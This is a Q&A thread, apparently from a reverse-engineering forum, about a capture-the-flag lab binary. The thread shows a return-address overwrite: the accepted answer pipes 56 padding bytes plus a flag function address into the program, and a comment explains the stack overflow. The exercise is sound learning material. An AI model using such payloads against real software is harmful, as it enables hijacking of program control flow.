How to exploit __isoc99_scanf with a segmentation fault

Question

I'm an absolute newbie when it comes to all this side of reverse engineering. Each time I try and understand it, I get lost almost immediately.

I am trying a lab. I open it up in Binary Ninja. I get the following

When I open main I get the following

Nothing much seems to happen but there is a function(?) called flag that looks like what I need

When I copy the address, it comes out as:

0x401152

I'm trying to do stuff like this on the command line but getting nowhere fast

python3 -c "print (28 * 'A' + '\x52\x11\x40')" | ./santa;

I then try to iterate through and no luck although I do get a segmentation fault on the 53rd iteration

for i in {0..60}; do python3 -c "print ($i * 'A' + '\x52\x11\x40')" | ./santa; done

Any pointers? I'm absolutely lost

Hi, generally we recommend to paste text as text, not screenshots. The reason being that search engines won't index screenshots the same way as text. — 0xC0000022L, Commented Dec 16, 2021 at 9:59

pee2pee · Accepted Answer · 2021-11-26 19:59:21Z

0

python3 -c "print (56 * 'A' + '\x53\x11\x40\x00\x00\x00\x00\x00')" | ./santa

answered Nov 26, 2021 at 19:59

pee2pee

2211 gold badge3 silver badges7 bronze badges

3

Would you care to elaborate on your solution?
– NirIzr
Commented Nov 30, 2021 at 8:22
Basically they are overflowing the buffer that scanf was entering into, after overflowing out that buffer they will then be filling the saved frame pointer with garbage, after which in the stack comes the return address. So once the function hits retn it'll jump the new address they set 0x401152
– herohamp
Commented Apr 9, 2023 at 16:57

Add a comment |

1 Answer 1